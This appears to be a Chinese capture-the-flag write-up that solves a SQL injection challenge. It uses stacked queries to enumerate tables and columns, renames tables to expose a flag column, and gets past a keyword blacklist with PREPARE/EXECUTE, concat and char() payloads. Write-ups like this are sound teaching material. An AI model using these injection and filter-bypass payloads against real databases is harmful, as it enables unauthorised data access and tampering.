0X1 确认是SQL注入,查找字段数
1 2 3 4 1' order by 1; 1' order by 2; 1' order by 3;
0x2 联合注入&尝试绕过
1 2 1 ' union select 1 ,2 ; # #回显被PHP的preg_match()函数 正则表达式过滤
-PHP知识扩展之 preg_match() 函数
1 2 3 4 5 6 7 8 <?php if (preg_match("/php/i" , "PHP is the web scripting language of choice." )) { echo "查找到匹配的字符串 php。" ; } else { echo "未发现匹配的字符串 php。" ; }?>
通过回显 发现select,update,delete,drop,insert,where ,点符号,都被过滤,尝试用堆叠注入
0X3 堆叠注入
尝试堆叠注入发现所有数据库
查看当前数据库的所有表
查看 1919810931114514 ,words 表的列名
1 2 3 1'; show columns from `1919810931114514` ; 1'; show columns from words; 得知Flag在 1919810931114514 表中,但select 函数被过滤
0X4 表改名&预编译绕过
方法一 修改表名
1 2 3 4 5 6 7 Payload: 1'; rename table words to word1; rename table `1919810931114514` to words; alter table words change flag id varchar (100 ); 拆解: 1'; rename table words to word1; rename table `1919810931114514` to words; alter table words change flag id varchar (100 );
方法二 预编译绕过过滤
SQL无变量预处理+Concat绕过
1 2 3 4 5 6 PREPARE [name ] from '[sql语句]' ; EXECUTE [name ]; (DEALLOCATE || DROP ) PREPARE name ; payload: 1';PREPARE ice from concat ('s' ,'elect' ,' * from `1919810931114514` ' ); EXECUTE ice;
SQL存在变量预处理+char+concat
1 2 3 4 5 6 7 8 SET @tb = 'words' ; //存储表名SET @sql1 = concat ('se' ,'lect * from ' , @tb); //存储SQL语句PREPARE name from @sql1; //预定义SQL语句EXECUTE name ; //执行预定义SQL语句 (DEALLOCATE || DROP ) PREPARE sql1; //删除预定义SQL语句select = char (115 ,101 ,108 ,101 ,99 ,116 ) payload: 1 '; SET @sql1=concat(char(115,101,108,101,99,116),' * from `1919810931114514` ');PREPARE ice from @sql1;EXECUTE ice;#
0X5 FLAG